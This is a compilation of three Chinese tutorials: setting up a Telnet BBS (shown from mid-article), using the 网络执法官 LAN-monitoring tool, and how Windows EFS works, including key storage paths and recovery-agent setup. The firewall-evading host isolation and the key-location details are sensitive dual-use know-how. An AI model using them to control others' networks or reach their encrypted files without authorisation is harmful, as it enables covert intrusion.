    （3）在这里可以为地址簿添加站点，并且设置站点属性，可以选择相应的站点打开。连接在上一节中安装的Firebird NT BBS，出现BBS的Login的画面（如图7）。


图7 BBS的Login的画面
    当BBS程序要求输入帐号时，请输入new，以便注册一个新的使用者。由于名称为SYSOP 的使用者拥有一切权利，是具有最高权限的管理者，因此必须先注册名称为SYSOP的使用者，并且设定密码。
    请注意：SYSOP必需完全大写。
    接下来，再替guest登记帐号，此帐号为BBS的参观帐号，不须输入密码即可进入BBS（注册时随便打个密码即可）。
    如果你不想提供guest帐号，可以略过此步骤，并记得把guest加入“不可注册之ID”的名单内。如果您提供了guest帐号，请参考稍后的文件说明替guest设定“恰到好处”的权限。通常guest帐号是只能参观不可发言的，因此通常不具有发表文章或聊天的功能。
    这样一个简单的BBS站点就建立起来了。
    三、BBS站点的管理
    Telnet BBS的管理功能比较简单。以SYSOP进入连接BBS后，进入系统管理功能表，进行BBS的管理选项的设置（如图8）。

图8 BBS的管理选项的设置
在系统管理功能表中，可以设定和修改或BBS的使用者的所以资料、编辑系统档案等管理的方法与手段。
    进入一个管理选项，可以选定参数对其进行编辑修改。因为Telnet BBS是在Windows下模拟UNIX环境实现的，属于字符型的BBS，管理和使用的时候需要使用键盘进行操作，当遇到操作的问题的时候可以使用Ctrl＋Q的组合键进行求救，就可以找到操作BBS的所有的键盘的命令列表。
    关于管理列表里面的选项，这里不一一详细讲述了，请读者自己动手操作！
    最后，希望朋友们都能管理和维护好你们的BBS。

利用网络执法官进行网络的监控管理
CNET中国·ZOL 【原创】 作者：中关村在线 书虫
网络执法官可能是国内最好的网络监管软件之一，是一款为企业定身量做功能强大的网络监控软件产品；它是一款局域网管理辅助软件，采用网络底层协议，能穿透各客户端防火墙对网络中的每一台主机（本文中主机指各种计算机、交换机等配有IP的网络设备）进行监控；采用网卡号（MAC）识别用户，可靠性高；软件本身占用网络资源少，对网络没有不良影响。软件不需运行于指定的服务器，在网内任一台主机上运行即可有效监控所有本机连接到的网络（支持多网段监控）。
    网络执法官的主要功能是依据管理员为各主机限定的权限，实时监控整个局域网，并自动对非法用户进行管理，可将非法用户与网络中某些主机或整个网络隔离，而且无论局域网中的主机运行何种防火墙，都不能逃避监控，也不会引发防火墙警告，提高了网络安全性。管理员只需依据实际情况，设置各主机的权限及违反权限后的管理方式，即可实现某些具体的功能，如禁止某些主机在指定的时段访问外网或彻底禁止某些主机访问外网；保护网络中关键主机，只允许指定的主机访问等等。
    网络执法官的新版本是2.71版，可以华军软件园下载其试用版，下载地址为：http://www.netrobocop.com/Exe/UserDown/RobocopSetup.exe。
    状态查看以及用户添加
    网络执法官的安装十分简单，和其他软件的安装没什么不同的，软件较小可以直接安装在C盘目录下。安装完成后在桌面和开始菜单中即可找到相应的启动图标。单击启动图标选择“网络执法官.企业金版”打开网络岗的运行界面（如图1）。


图1 监控范围阿选择
    一般的都会按照本机所在网段自动的给出可用的IP及子网掩码和监控范围IP，单击“添加/修改”按钮将IP添加到列表中去。
    单击“确定”按钮，进入到网络执法官的用户列表界面，该网段的所有的用户都会被列出（如图2）。

图2 用户类别
    用户列表中主要的列出了网卡权限及地址、状态、是否锁定、IP地址、域/主机名、上线时间和下线时间以及网卡注释。在选定用户上单击鼠标右键即可弹出设置管理选项的菜单（如图3）。

图3 右键的设置管理选项菜单
在设置管理选项菜单中列出了众多的功能，包括查看属性、设定权限、手工管理、锁定/解锁……的功能选项，每个选项的功能不用多说，只要使用一下即可知道其功能操作。
    在网络执法官中可以更详细的查看本机状态，单击用户列表窗口“本机状态”即可进入到界面，这里包括了网卡参数、当前联机以及资源占用，几乎所以的相关参数都被列出了（如图4）。

图4 本机状态
    在网段中如果有其他的新用户加入，必须将其添加进用户列表。单击界面窗口上的添加新用户图标或者通过工具栏的“用户à登记新用户”打开添加新用户窗口（如图5）。

图5 添加新用户
    要添加新用户，首先要填写上新用户的网卡mac地址以及注释信息、然后进行权限设定以及违反权限的管理方式；其中权限设定中可以对该用户的IP访问范围以及时段进行限定，如果认为必要的话。
监控管理功能
    在网络执法官界面的工具栏中有着网络监控管理的选项，主要是设置、用户以及数据处理三个选项。
    1．安全设置
    安全设置选项中包括监控范围与主机、默认权限与临时权限、关键主机和其他设置的选项。
对于监控范围的设定在启动程序的时候即会弹出相应的设置界面；如果要添加对其他范围的监控可以按照同样的范围进行添加或者修改就可以了。
安全选项主要是发现非法用户的处理器方法，包括了向管理员发送消息、启用声音警告以及封锁的调节等，这里应该根据情况进行设定（如图1）。

图1 安全设置
    对于权限以及主机和其他的设置在添加用户的时候都有着相应的设置，具体的情参考添加新用户的操作设置。
    2．用户设置
    用户设置中的选项众多，但是都和在用户列表中的右键菜单中选项一样，具有相同的功能和设置。包括了登记新用户、删除/反删除、查看属性，设定权限和手工管理。这些选项在上面的添加新用户中的有着同样性质的设置。
    使用查看属性的功能，可以查看网络内的每台计算机的信息（如图2）。用户属性窗口中可以查看用户的上线记录，可以进行设定用户权限以及删除用户的操作。


图2 查看用户属性
    值得注意的是，进行手工设置和进行其他的管理一样，也是要取得网络的管理员权限，一般情况下并不需要使用手工设置选项。
    3．数据处理
    数据处理中包括了网卡数据的导出和导入、清空所以记录以及备份文件数据，这些设置是程序数据信息的导入导出以及备份的操作，步骤十分简单，这里就不作赘述。

深入剖析EFS

本文涉及大量图例，如有网友按照图例学习，实验，请使用“新建文件夹”和“新建文件”来实验，因为涉及数据加解密，有造成数据丢失的可能，小心。
一、名词解释
安全标识符（SID，“安全ID”）：
是来识别用户、组和计算机帐户的标志符。在第一次创建一个帐户时，windows系统将给每一个帐户发布一个唯一的 SID。Windows 中的内部进程通过帐户的 SID 而不是帐户的名字来区别账户。相当于人的身份证号码，一些严肃的场合，我们通过身份证号码来区分不同的人而不是通过姓名来区分。要注意的是，如果一个账户被错误删除了，即使重建一个相同名字的账户，其SID也和被删除账户的SID不同，对计算机来说，这仍然是两个不同的账户。
加密：
通过某个函数或方法对正常数据进行运算，使其看起来没有意义的过程。其反过程称为解密。
NTFS 文件系统：
一种高级文件系统，提供了性能、安全、可靠性以及未在任何 FAT 版本中出现的高级功能。例如，NTFS 通过使用标准的事务处理记录和还原技术来保证卷的一致性。如果系统出现故障，NTFS 将使用其日志文件和检查点信息来恢复文件系统的一致性。NTFS 还可以提供诸如文件和文件夹权限、加密、磁盘配额和压缩之类的高级功能。
EFS（encrypting file system，文件加密系统）：
加密文件系统 (EFS) 提供一种核心文件加密技术，该技术用于在 NTFS 文件系统卷上存储已加密的文件。加密了文件或文件夹之后，您还可以像使用其他文件和文件夹一样使用它们。
加密对加密该文件的用户是透明的。这表明不必在使用前手动解密已加密的文件，您就可以正常打开和更改文件。
使用 EFS 类似于使用文件和文件夹上的权限。两种方法都可用于限制数据的访问。然而，未经许可对加密文件和文件夹进行物理访问的入侵者将无法阅读这些文件和文件夹中的内容。如果入侵者试图打开或复制已加密文件或文件夹，入侵者将收到拒绝访问消息。文件和文件夹上的权限不能防止未授权的物理攻击。
正如设置其他任何属性（如只读、压缩或隐藏）一样，通过为文件夹和文件设置加密属性，可以对文件夹或文件进行加密和解密。如果加密一个文件夹，则在加密文件夹中创建的所有文件和子文件夹都自动加密。推荐在文件夹级别上加密。
公钥（public key）：
EFS中公钥是一个运算函数，其作用就是用来加密数据，就相当于一把锁。这把锁可以放置在internet上，让别人使用这把锁来加密数据然后传给锁的主人。任何人都可以看到并使用这把锁来加密数据，但是如果没有锁的钥匙就打不开锁，因此看不到锁住以后的数据内容，所以公钥暴露在公共场所并没有安全性的问题。
私钥（private key）：
对应公钥一对一对存在，其实就是用来开锁的钥匙。私钥不能随便泄露，如果私钥被盗或者被复制，那么别人使用你的公钥加密的数据如果传输时被拦截，就很容易被解密了。同理，如果我们自己的私钥损坏或者丢失了，那么我们同样不能打开这把锁，也即是不能对接收到的别人已经用我的公钥加密了的数据进行解密了，这种情况下，我们必须重新购买锁和对应的钥匙，也就是需要重新申请一对公钥和私钥。
恢复代理（recovery agent）：
另外一个有私钥的用户。为了放置私钥损坏或丢失，我们把私钥存放在另外一个人那里，这人就是恢复代理。当然，存放我私钥的人必须是我信任的人。同样EFS中也是采用类似的解决方法，也就是我们常常说到的恢复代理和恢复代理的证书。
二、使用加密文件和文件夹时的注意事项：
只有 NTFS 卷上的文件或文件夹才能被加密。由于 WebDAV 使用 NTFS，当通过 WebDAV（Web 分布式创作和版本控制）加密文件时需用 NTFS。
不能加密压缩的文件或文件夹。如果用户加密某个压缩文件或文件夹，则该文件或文件夹将会被解压。换句话说，数据的压缩和加密只能选其一。
如果将加密的文件复制或移动到非 NTFS 格式的卷上，该文件将会被解密。（压缩也一样）
如果将非加密文件移动到加密文件夹中，则这些文件将在新文件夹中自动加密。然而，反向操作则不能自动解密文件。文件必须明确解密，除非移动到非NTFS的卷上。
无法加密标记为“系统”属性的文件，并且位于 ％systemroot％ 目录结构中的文件也无法加密。
加密文件夹或文件不能防止删除或列出文件或目录。具有合适权限的人员可以删除或列出已加密文件夹或文件。因此，建议结合 NTFS 权限使用 EFS。
在允许进行远程加密的远程计算机上可以加密或解密文件及文件夹。然而，如果通过网络打开已加密文件，通过此过程在网络上传输的数据并未加密。必须使用诸如 SSL/TLS（安全套接字层/传输层安全性）或 Internet 协议安全性 (IPSec) 等其他协议通过有线加密数据。但 WebDAV 可在本地加密文件并采用加密格式发送。
三、开始动手了
在NTFS分区上新建文件夹，在新建文件夹中新建一个文本文件，随便输入一些字符：  本贴包含图片附件:

启用EFS加密，如图

按确定键，选择加密文件夹和子文件夹，如图

现在文件夹变成了绿色，说明已经被EFS加密了。

新建一个用户user1，logout，以user1登录系统

user1登陆以后打开 新建文件夹,什么?可以打开????  

继续打开新建的文本文件,现在打不开了

lougout user1，换回刚才的用户登录，试试打开新建的文本文件，没有问题，用户根本感觉不到该文件被加密了，这就是EFS的好处

很显然，刚才的操作说明系统用私钥加密了该文本文件，换用户登录后，因为不同的用户私钥不一样，所以不能打开该文件了。
那么，用户EFS使用的私钥放置在硬盘的什么位置呢？而且这个私钥肯定是和用户的SID相对应的。是不是在注册表中？答案是否定的，因为刚才我们根本没有动过注册表。想起一些网友经常遇到的情况是有EFS加密的文件忘记了解密就重装了系统，有些网友还有重装系统前的注册表备份，但是即使导入前系统的注册表也是无法解密的，所以私钥肯定不在注册表中。
参考了微软官方的一些文档，包括EFS的白皮书（white paper），只有这个说明：“EFS文件使用前不需要解密。当向磁盘存储和从磁盘读取字节时，加密和解密透明地完成。EFS 自动检测加密文件，并从系统密钥存储区定位用户密钥。”，而密钥存放区在硬盘的什么位置，更本没有说明。
经过多次的实验，分析，相同的组里面不同的用户设置的EFS，相互之间也是不能解密的，而这些用户对系统的操作，只有一个地方不同，那就是用户配置文件，存放在Documents and Settings中各不同的用户名字下。将重点锁定这个目录，经过反复实验，比较，得出结论：密钥存放在C:\Documents and Settings\Administrator\Application Data\Microsoft\Crypto\RSA下，如图：

而S-1-5-21-360507124-1982380022-347760104-500就是我加密EFS文件使用的账户对应的SID，我是用内置的管理员账户直接加密的，可以看到这个SID最后是500，这个标记方法类似于linux对账户的标记
经过实验，发现一个很容易忽略的地方：这个文件夹不是安装系统的时候就生成的，也不是创建该账户时生成的，而是该账户第一次使用EFS的时候生成的，换句话说，如果没有使用EFS加密，该文件夹是没有的！这就会导致另外一个经常出现的问题： 网友经常安装调试好系统以后用ghost做个备份，以备以后恢复系统用。如果在ghost做完以后用EFS加密了文件，系统乱了的时候再从ghost文件恢复，记得一定要先导出证书，不然即使ghost回去的是一模一样的系统，该备份的系统中没有私钥，EFS仍然是打不开的！！！切记。所以ghost即使在同一台机器上使用，也并不是万能的，不同的机器使用差别就更大了。
笔者测试了和ghost功能类似的xp自带的系统还原，庆幸的是系统还原能避免这种现象。如果创建还原点以后用EFS加密了文件，回到还原点时，文件仍然是没有加密的，但是在撤销系统还原以后，该文件仍然是没有加密的！所以对于机密数据，在系统还原以后要慎用撤销系统还原功能！
接下来我们来寻找注册表中什么位置标记了用户账户的私钥放置位置呢？用刚才的SID在注册表中搜索，终于找到了，在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-360507124-1982380022-347760104-500中标记了，如图：（图很大，放大到100%才看的清）

四、恢复代理的设置和证书的备份
对于没有加入到域的机器，2000pro和2000server中默认的恢复代理就是内置的管理员账户，这样当管理员误删除了用户账号的时候，即使该用户有EFS加密的文件，管理员也可以打开（参见上面恢复代理的解释）。这样一来，管理员养成了非常不好的操作习惯，就是有员工辞职时，先删除该员工的账号，再来处理其留下的数据（因为即使有EFS加密的文件管理员也能打开的）。而在xp和2003中，内置的管理员账户不再是默认的恢复代理！不知道有多少管理员犯了经验主义错误，按照2000的方法来处理用户账户，导致很多EFS文件打不开了，强烈FT微软这种重大改动不在重要地方说明！
在xp和2003中以默认的管理员备份证书，运行secpol.msc时，提示先添加恢复代理，如图：

接下来先添加恢复代理，这个比较简单了：
以管理员登录计算机，运行：cipher /r:c:\dra

输入密码并在出现提示后重复输入一次，以保护生成的密钥。
这样就在C：分区下面生成了dra.cer和dra.pfx文件(.CER只是包含证书，而.PFX包含证书和密钥)。  

以想要的恢复代理登录，（建议用内置的管理员账户），右击pfx文件，选安装

按照向导安装证书：

输入cipher创建证书时的密码和相应的选项，安装到系统默认的地方  

运行gpedit.msc，选添加数据恢复代理，如图

按照向导进行，中间要选择一下证书dra.cer的存储目录，添加成功以后如图：

在设置了有效的恢复代理后，用恢复代理登录系统就可以直接解密用户用EFS加密的文件。
如果在设置恢复代理之前就加密过数据，那么这些数据恢复代理仍然是无法打开的。
最后一步，证书的备份
以内置的管理员（管理员组的其他成员不行）运行secpol.msc，如图，导出